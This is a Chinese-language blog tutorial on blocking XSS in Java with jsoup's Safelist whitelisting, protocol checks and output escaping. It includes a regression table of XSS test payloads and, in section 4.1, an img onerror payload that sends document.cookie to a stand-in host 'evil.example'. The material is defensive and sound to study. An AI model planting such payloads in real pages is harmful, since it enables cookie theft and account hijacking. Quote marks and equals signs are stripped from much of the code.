资讯动态

jsoup实战:白名单机制防御XSS攻击的完整指南

发布时间:2026/10/19 10:44:06 来源:尧图企业网站定制
1. XSS攻击的本质jsoup到底替我们挡住了什么1.1 从一条“弹窗评论”说起XSS是怎么发生的做后端这些年我接过的安全类工单里十有八九出在富文本输入上。最常见一个场景用户在评论区贴了一行alert(1)的脚本管理员一打开后台整个页面弹框弹到怀疑人生。攻击者没有碰你的数据库也没有伪造请求他只是把一段本该是“数据”的字符串让浏览器当成了“代码”去执行。这就是XSS跨站脚本攻击。一旦脚本能在别人的浏览器里运行能干的事情远比弹窗狠得多偷走当前用户的Cookie、冒充管理员发帖、读取页面上的敏感数据、甚至配合CSRF做账号操作。而现在的前端框架虽然默认转义文本节点但只要有一处富文本用v-html或者innerHTML渲染危险就会从那个口子漏进来。很多人第一反应是“我过滤一下特殊字符不就行了”。你会在1.3节看到黑名单思路在HTML这种树形结构面前有多脆弱。而jsoup之所以能成为Java生态里最常用的防御组件核心原因是它在“解析HTML”这一步做得足够干净、足够贴近浏览器行为再配合白名单机制等于把你的输入规则从“猜攻击”变成了“定边界”。这篇文章我会从XSS的原理讲起把jsoup的HTML清理、Safelist配置、协议白名单、输出转义这些关键点全部过一遍最后用一套完整的实战代码和攻击样本清单给你一个可以直接抄走的安全改造方案。1.2 存储型、反射型与DOM型clean主要管哪一段XSS按触发方式分三类。存储型是把恶意脚本持久化到数据库里等别的用户打开页面时才执行危害最大评论区、富文本公告、用户签名都是重灾区。反射型是脚本藏在URL参数里诱导用户点击带毒链接服务端把参数原样拼在页面上。DOM型则是纯前端问题脚本不经过服务器直接由浏览器里的JavaScript操作DOM触发。jsoup能防的是存储型里“HTML会被原样渲染”的那一类以及部分反射型中服务端输出HTML的场景。它的工作方式不是检测恶意脚本而是把不可信的HTML解析成一棵DOM树再在白名单允许的范围内重新“拼”一份干净HTML。换句话说jsoup并不知道onerroralert(1)有多危险它只知道img标签的onerror属性不在你的允许列表里所以直接剥离。这里有个非常重要的点如果你在后端用jsoup做了一次清理前端又用innerHTML渲染清理后的结果这个链路是安全的。但如果你在数据库里存的是原文只是在展示时才调用Jsoup.clean那么每次渲染都会多一次昂贵的解析开销。更稳妥的做法是在数据进入系统的那一刹那完成清理后续所有读取都拿到已过滤的安全内容。1.3 黑名单思路为什么靠不住白名单的“政治正确”我在项目里见过不少“正则过滤”方案最典型的是content.replaceAll(script, )。这类黑名单有一个绕不过去的死穴HTML不是正则语言它是一棵嵌套树。攻击者随手写一个scrscriptipt第一次匹配剥掉中间的script后剩下的恰好拼成script绕得毫无压力。再进阶一点的黑名单会过滤javascript:、onerror、script等关键词但攻击者可以用HTML实体编码、大小写混写、Unicode变体、属性值里塞空白、把引号换成反引号等手段无限变形。黑名单的本质是“我认识所有坏人”而现实是坏人永远迭代得比你快。白名单的思路恰好相反我不关心你是什么我只关心你允不允许。p标签允许br标签允许onerror属性不允许javascript:协议不允许——只要你用的元素在允许集合里就保留不在就剔除。jsoup的Safelist就是这套规则的载体它把“哪些标签、哪些属性、哪些协议能进系统”这个问题变成了一个可以被审阅、被版本管理、被测试的安全配置。2. 吃透Jsoup.cleanHTML清理的三段式拆解2.1 从一把梭到精细化clean的三种常见用法jsoup切入HTML清理最直白的方式就是Jsoup.clean方法。它内部其实是三步先用解析器把脏HTML变成DOM文档然后用Cleaner配合Safelist通遍历删掉不允许的节点和属性最后按输出设置序列化成干净的HTML字符串。理解了这三段你就理解了后续所有配置都分别作用在哪一环。最基础的调用是这样的String dirty scriptalert(1)/scriptp你好/p; String clean Jsoup.clean(dirty, Safelist.basic()); System.out.println(clean); // 输出: p你好/pscript标签压根不在白名单里直接整段删除剩下的段落文本原样保留。如果你提供一个baseUri参数String clean Jsoup.clean(dirty, https://example.com/, Safelist.basic());baseUri会把HTML里的相对链接解析成绝对链接在后续协议校验时很有用。默认情况下相对链接比如a href/foo因为没有匹配http、https这类协议会被过滤掉。如果你希望业务上保留相对链接要在Safelist上显式开启preserveRelativeLinks(true)。如果清理之后你还想继续操作这个文档比如从里面提取图片地址、统计链接数量那就别用字符串版本的clean改用Cleaner对象直接处理DocumentDocument dirtyDoc Jsoup.parseBodyFragment(rawHtml, https://example.com/); Cleaner cleaner new Cleaner(Safelist.relaxed()); Document cleanDoc cleaner.clean(dirtyDoc);这里要注意parseBodyFragment和parse有区别。前者只解析HTML片段不会额外生成htmlbody这种完整文档骨架对富文本场景更合适。我建议把Safelist配置成静态常量初始化一次到处复用而不是每次请求都new一个这样既省对象创建开销也不容易出现“一个接口一个配置”的漂移问题。2.2 白名单四档位click、simpleText、basic、relaxed怎么选Safelist提供一个默认档位覆盖从“全禁”到“放宽”的四种策略档位默认放行的内容适合场景none什么都不保留所有标签剥离只剩纯文本昵称、标题、摘要等不该带格式的字段simpleTextb、em、i、strong、u等简单文本标签带轻量加粗、斜体格式的短文本basic常用排版标签 a链接评论区、文章摘要、大多数富文本输入basicWithImagesbasic基础上增加img及相关图片属性图文混排的富文本relaxed覆盖大部分排版标签包括div、table系列、span等后台CMS、内容管理系统的宽松富文本none不是没用的摆设。很多业务只想要纯文本却误用了basic结果用户粘一段带样式的HTML进来颜色、字体全带跑了。我自己写接口时凡是字段名叫“昵称”或“标题”的一律Safelist.none()清成纯文本省心省力。basic是评论区的好起点它会放行p、br、blockquote、code、pre、strong、em、a这些常用标签但链接默认只允许http、https、ftp、mailto协议事件属性全部不放行。relaxed则要谨慎它虽然不包含script、iframe、object这类可执行标签但因为允许标签范围广任何一个属性配错都容易出问题。我的原则是能用basic解决的业务绝不轻易上relaxed。2.3 按标签授权用Safelist自定义准入规则内置档位适合快速落地真实业务里你几乎一定需要微调。Safelist的链式API设计得比较人性化增删都清晰Safelist safelist Safelist.basicWithImages() .addTags(figure, figcaption, code, pre) .removeTags(p) .addAttributes(img, src, alt, title, width, height, loading) .addAttributes(a, target, rel) .addProtocols(img, src, http, https) .addEnforcedAttribute(a, rel, nofollow);拆开看这四个方法addTags和removeTags控制哪些标签能存在。你加了figure但忘了加figcaption用户传的figcaption就会被剥离内容可能掉出来也可能丢掉这是常见的“误伤”来源。所以加标签时把配套的子标签一起想清楚。addAttributes控制某个标签上允许哪些属性。注意属性是“按标签白名单”管理的不是全局放行。img允许了onerror没这回事除非你主动去加。这也是jsoup安全的根基——事件属性全部默认缺席。addProtocols是专门作用于URL类属性href、src等的协议校验。它检查的不是属性名而是属性值里的协议部分。javascript:alert(1)在addProtocols(a, href, http, https)的规则下直接被剔除因为协议不在许可集里。addEnforcedAttribute则更特殊它会给某个标签“强制注入”一个属性不管用户有没有写。比如给所有a标签强制加relnofollow给所有链接加target_blank的同时也强制relnoopener这是防钓鱼和防window.opener劫持的小技巧。还有一个特殊的标签名:all用它可以给所有标签统一加属性。比如我经常写.addAttributes(:all, class)让所有标签都允许class属性但具体的样式类名需要服务端再校验一遍避免用户传一个把界面打乱的类名。2.4 协议白名单堵住javascript:这把万能钥匙XSS绕过了标签和属性之后最容易翻车的地方就是协议。攻击者最喜欢通过javascript:协议把代码塞进链接里a hrefjavascript:alert(1)点我领取福利/a如果你给a标签放行了href属性但没做协议限制这行代码通过清理后原封不动点击即执行。所以在jsoup里“允许链接”和“允许任意链接”是两回事。只放行href属性是不够的必须同时声明允许的协议.addAttributes(a, href) .addProtocols(a, href, http, https, mailto)有了协议白名单javascript:、vbscript:、data:这类高风险协议会被直接拦截。更妙的是jsoup先做HTML实体解码再做协议校验所以攻击者把j换成实体编码写成#106;avascript:也没用解析后还是会还原成javascript:逃不过协议过滤。data:协议要特别警惕。它在某些场景下是合法的比如图片的data:image/png;base64但data:text/html或者data:image/svgxml里都能藏脚本。所以我的建议是富文本图片只允许http和https除非你非常清楚自己在干什么不要轻易给src加data协议。3. 解析与输出去向隐藏的绕过点与加固姿势3.1 解析器对脏HTML的态度容错是一把双刃剑jsoup的解析器是照着浏览器的容错机制实现的。也就是说面对一段残缺、混乱、标签不闭合的HTMLjsoup不会抛异常而是尽量按照浏览器的逻辑去构建DOM。这个特性对防御来说太重要了。浏览器会怎么解析jsoup就怎么解析于是清理之后的结果和你最终在浏览器里看到的结构是一致的。反过来如果你用正则去匹配标签攻击者换一种畸形写法正则匹配不到浏览器却能正常渲染防御就失效了。但也正因为容错解析器偶尔会把不完整的标签“脑补”成完整结构。比如用户传了一行文本img srcx onerroralert(1)之后忘记闭合标签解析器会按HTML规则自动闭合生成的DOM树里onerror属性依然存在。好消息是只要onerror不在属性白名单里Cleaner仍然会把它删掉。所以不用怕解析器容错它只会影响DOM长什么样不会绕过白名单规则。3.2 实体、CDATA和注释看起来像漏洞其实是机制刚接触jsoup的人常会拿一堆“编码绕过”样本去测比如a href#106;avascript:alert(1)点击/a img srcx onerror#97;lert(1)你担心实体编码会让jsoup认不出来完全没必要。jsoup解析时会把HTML实体还原成真实字符#106;解码成j#97;解码成a。解码后协议校验仍然工作javascript:还是会被拦下。这才是清理逻辑放在“解析之后”而不是“字符串替换”的核心优势。CDATA也是一样的道理。在HTML解析器里CDATA节会被当作文本处理![CDATA[script]]并不会让脚本活过来。至于HTML注释!--和--之间的内容本身就是被浏览器忽略的jsoup同样会把它当注释节点。注释不在白名单里清理时会被剥掉。有一类攻击者喜欢在注释里藏攻击载荷配合不闭合的标签干扰正则但在jsoup的DOM视角下注释就是注释没有特殊权力。所以遇到这类绕过样本不用慌先想清楚jsoup先把文本变成DOM再按白名单遍历删除。编码变形在第一步就被还原了危险内容在第二步就被删了。3.3 输出转义与escapeMode清理后的最后一道门Jsoup.clean默认的输出设置是Document.OutputSettings的默认值prettyPrint为trueescapeMode为base。这里有两个隐藏坑。第一个坑是prettyPrint。默认开启会让输出结果变得“好看”给标签换行、缩进。对展示来说问题不大但如果前端在比较字符串或用正则解析输出结果换行和空格反而会造成干扰。我在接口返回时通常关掉Document.OutputSettings settings new Document.OutputSettings(); settings.prettyPrint(false); String clean Jsoup.clean(html, baseUri, safelist, settings);第二个坑是转义级别。escapeMode的base、extended、xhtml三档控制的是特殊字符输出时的转义策略。比如文本里有引号base模式下可能不转义引号extended和xhtml模式下则更严格。虽然jsoup产出的已经是白名单清理后的HTML但文本节点的引号、尖括号如果在输出时不做转义依然可能在某个奇怪的上下文里造成二次注入。我建议在富文本输出场景统一用Entities.EscapeMode.base并在渲染端确认模板不会再度转义导致双重转义问题。3.4 别忘了纵深防御清理不是万能的jsoup解决了“HTML内容不干净”的问题但它管不了所有安全问题。我见过团队把所有XSS防御押在jsoup上结果漏了三个明显的口子第一个是用v-html渲染了后端某个没经过清理的JSON字段第二个是文件上传的SVG里藏了脚本第三个是富文本里的链接虽然被清理成https文案却被攻击者改成“点击领取”诱导用户去钓鱼站。所以正确的姿势是纵深防御输入层用jsoup做白名单清理输出层靠模板引擎默认转义浏览器侧配置 CSP 内容安全策略比如script-src self禁止内联脚本Cookie 设 HttpOnly敏感操作用 CSRF Token 保护。jsoup不是银弹它是这套防线里最基础的一环帮你把绝大多数脚本载荷挡在数据库外面。4. 实战把某社区评论功能从头到尾加固一遍4.1 业务需求与初始代码几乎所有坑都踩一遍我用一个虚构的 “某社区系统” 评论功能来演示整个改造过程。业务需求很常见用户发评论支持简单HTML加粗、斜体、链接、图片但不能有脚本不能乱排版。初版代码只有一行保存逻辑前端直接innerHTML渲染返回内容public void saveComment(String content) { Comment comment new Comment(); comment.setContent(content); commentDao.insert(comment); }这个版本投到线上第一周就出了安全事件。攻击者提交的评论是img srchttps://example.com/avatar.png onerrorwindow.locationhttps://evil.example/steal?cookiedocument.cookie前端一渲染图片加载失败触发onerror把用户Cookie往第三方域名送。这时候你才意识到img标签虽然是合法的图文混排需求但它的onerror属性合法吗显然不合法。这个“合法标签”与“非法属性”的组合正是白名单要精确到属性的原因。4.2 定制Safelist从业务需求反推白名单改造的第一步不是上去写代码而是先列一份业务允许清单。我问自己三个问题允许哪些标签这些标签允许哪些属性URL类属性允许哪些协议经过和产品确认评论区的格式需求是段落、换行、加粗、斜体、行内代码、引用、链接、图片。于是我的Safelist配置如下public class Sanitizer { private static final String BASE_URI https://community.example.com/; private static final Safelist COMMENT_SAFELIST; static { COMMENT_SAFELIST Safelist.basicWithImages() .addTags(figure, figcaption) .addAttributes(img, src, alt, title, width, height, loading) .addAttributes(a, target, rel) .addAttributes(:all, class) .addProtocols(img, src, http, https) .addEnforcedAttribute(a, rel, nofollow); } public static String clean(String html) { Document.OutputSettings settings new Document.OutputSettings(); settings.prettyPrint(false); settings.escapeMode(Entities.EscapeMode.base); return Jsoup.clean(html, BASE_URI, COMMENT_SAFELIST, settings); } }这里我故意没有用relaxed。评论区用户能用到的最多就是图片和链接table、div全给出去只会让排版失控还会增加攻击面。class属性我通过:all放行是为了让用户引用预设的几个样式类但这里有个前提前端只读class名做样式映射不接受用户自定义CSS。如果做不到这一点宁可把class也从白名单里删掉。4.3 完整调用链存储、展示、编辑回显的差异化处理改造后的保存接口在入库前调用Sanitizer.cleanpublic void saveComment(String rawContent) { String safeContent Sanitizer.clean(rawContent); if (safeContent.isEmpty()) { throw new IllegalArgumentException(评论内容为空); } Comment comment new Comment(); comment.setContent(safeContent); commentDao.insert(comment); }这个“保存前清理”的位置非常关键。如果只在展示时清理每次查询评论都要解析一遍HTML数据库里还躺着脏数据一旦换一个没清理的输出端漏洞立刻回归。所以入库前必须清干净。展示端也要区分场景。整页渲染富文本时数据已经clean过了直接在模板里通过安全管道渲染。但如果你在编辑回显场景把原始内容塞回编辑器问题就来了用户第一次提交成功的评论再次编辑时看到的应该是清理后的安全内容而不是原始脏HTML。很多项目的漏洞就是这样复发的——保存时清了回显时却用了历史原始值。安全改造还要覆盖存量数据。我建议写一个一次性任务扫描所有历史评论字段把包含script、onerror、javascript:等特征的内容全部重新走一遍clean。这一步不是可选项现实中的攻击在修复前早就可能入库了不清存量等于留着一个后门。4.4 效果验证用一组攻击样本过一遍配置写完不算完我每次都会准备一组攻击样本做回归测试确保清理结果符合预期。下面是一份我常用的样本清单原始输入清理后结果结果说明scriptalert(1)/scriptp你好/pp你好/pscript标签整段剥离img srchttps://example.com/a.png onerroralert(1)img srchttps://example.com/a.pngonerror属性被剥掉a hrefjavascript:alert(1)点我/aa href relnofollow点我/a协议被拦href变成空属性a href#106;avascript:alert(1)点我/aa href relnofollow点我/a实体编码还原后协议拦截svg/onloadalert(1)空字符串svg标签不在白名单整段删除div stylebackground:url(javascript:alert(1))x/divxstyle不在属性白名单div在白名单但style被剥注意第二行onerror被剥掉了img和src保留下来这是“标签合法但属性不合法”的精准处理。而第五行整个svg被删除因为svg标签本身就不在白名单无论它带什么属性都进不来。这套样本我会写进单元测试每次升级jsoup版本或者调整白名单时运行一遍防止“修复一个问题放开一个口子”。5. 常见误区与排坑实录5.1 清完还有XSS白名单配置翻车现场“为什么我调用了Jsoup.clean还是有XSS”这是我被问得最多的问题。排查下来基本集中在三处。第一处是漏了协议白名单。情况通常是开发者给链接标签加了href属性但忘了addProtocols。结果a hrefjavascript:alert(1)原样通过事件属性和标签都清干净了唯独把最经典的JS链接放行了。协议白名单不是可选项是必选项。第二处是使用了默认的宽松配置。某些旧代码直接Jsoup.clean(html, Safelist.relaxed())以为这就算安全了。但relaxed放了很多标签如果你没同时做好属性限制攻击面依然存在。我见过一个后台系统用relaxed 放行style属性攻击者塞了一段stylebackground:url(javascript:alert(1))效果得看浏览器版本。第三处不是jsoup的问题是输出端没有转义。有些模板引擎支持raw输出你清理后的安全HTML被raw渲染没问题。但如果你把某个普通字段比如用户名也用raw渲染用户名字里带一串img onerror后端根本没过jsoup直接执行了。所以jsoup清的是富文本字段其他字段仍然要严格走模板转义。5.2 误杀正常内容的三个经典案例白名单配得严攻击是防住了但业务也会找你“图片怎么不显示了”“表格怎么没了”第一个经典案例图片全部不显示。原因往往是协议白名单漏了https图片源站现在是HTTPS输出时src被协议校验剥掉了。加上addProtocols(img, src, http, https)就能解决。第二个经典案例文章里的表格全被清空。basic和basicWithImages默认都不放行table系列标签。如果业务确实需要表格要么用relaxed要么在白名单里精确加table、thead、tbody、tr、td、th、caption并逐一提它们允许的属性。这里切忌图省事直接上relaxed因为表格这块的坑边缘还有很多。第三个经典案例相对链接被活活删掉。默认情况下href/article/123这种相对地址过不了协议校验因为/article/123没有协议前缀。业务会抱怨“我明明填了站内链接保存后没了”。解决办法是在Safelist上开启preserveRelativeLinks(true)同时传入正确的baseUri让清理逻辑能判断相对链接的归属域。但开启后要记得相对链接只能指向同域这个特性对大多数站内业务正好合适。5.3 大文本清理的性能问题Jsoup.clean的性能瓶颈基本都在解析上白名单遍历本身很快。一次普通的评论清理在几毫秒到几十毫秒量级对于低频的提交接口完全够用。但如果你把几MB的HTML丢给它解析或者在一个高并发的流量入口对每个字段都做清理服务照样会被拖垮。我的经验是三层优化。第一层是入口限制富文本字段在上游就截断长度比如评论最多1万字、文章正文最大50KB超出直接拒绝。第二层是缩小清理范围只对真正允许HTML的字段调用jsoup昵称、标题这类字段用Safelist.none()或干脆不传HTML。第三层是复用对象Safelist和OutputSettings初始化后就不要反复new尤其是Safelist里的集合结构在构造阶段一次性配好运行期只读。另外要注意parseBodyFragment比parse更适合富文本清理因为前者不构建完整的htmlbody骨架少一层开销。我把所有清理统一走Jsoup.clean它的内部实现已经是对文档片段的处理这也是默认推荐路径。5.4 版本迁移与线程安全两个容易忽略的开发细节如果你维护的是老项目大概率见过Whitelist这个类。它是Safelist的前身新版jsoup已经把它重构为Safelist了。迁移本身不复杂把代码里的Whitelist换成Safelist方法名和链式风格基本一致。但要小心两点一是老代码里如果直接写new Whitelist()这种构造方式新版本已经不允许了全部要通过静态工厂方法创建二是新版本的默认输出行为可能有细微差别升级后务必跑一遍攻击样本回归。线程安全方面Safelist的内部用的是可变集合理论上在运行期还能调用addTags、removeAttributes修改。如果多个线程共享同一个实例同时又有人在请求处理流程里动态改它并发问题就来了。我的做法是所有白名单配置都放进静态初始化块发布后只读不写彻底避免共享可变状态。如果业务上确实需要动态生成不同的Safelist那就每次请求new一个实例别做全局缓存。最后说一个我自己踩过的坑Safelist允许动态修改让我误以为可以按请求粒度做“临时放行”。结果上线后某个用户尝试通过参数控制放行名单差点把管理端标签也放出来。白名单永远不要由用户输入决定它是系统的安全边界只能由开发者写死在代码里。后续要调整走配置中心或者发版流程不能走运行时参数。如果你准备给项目接jsoup我最大的建议是别把它当作唯一的防线。它应该嵌在“输入清理 输出转义 CSP Cookie安全”这条纵深链路里而且白名单的粒度宁可先紧后松。我当年接手一个老项目直接把评论区的Safelist从relaxed收紧到basic加自定义第一周产品就来吐槽图片不显示但安全工单也从每月好几条直接降到零。后来我加了一条监控统计清理前后长度变化大的记录发现那些大幅缩水的输入里很多都是攻击者在探测白名单边界——这类信号非常有价值值得关注。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑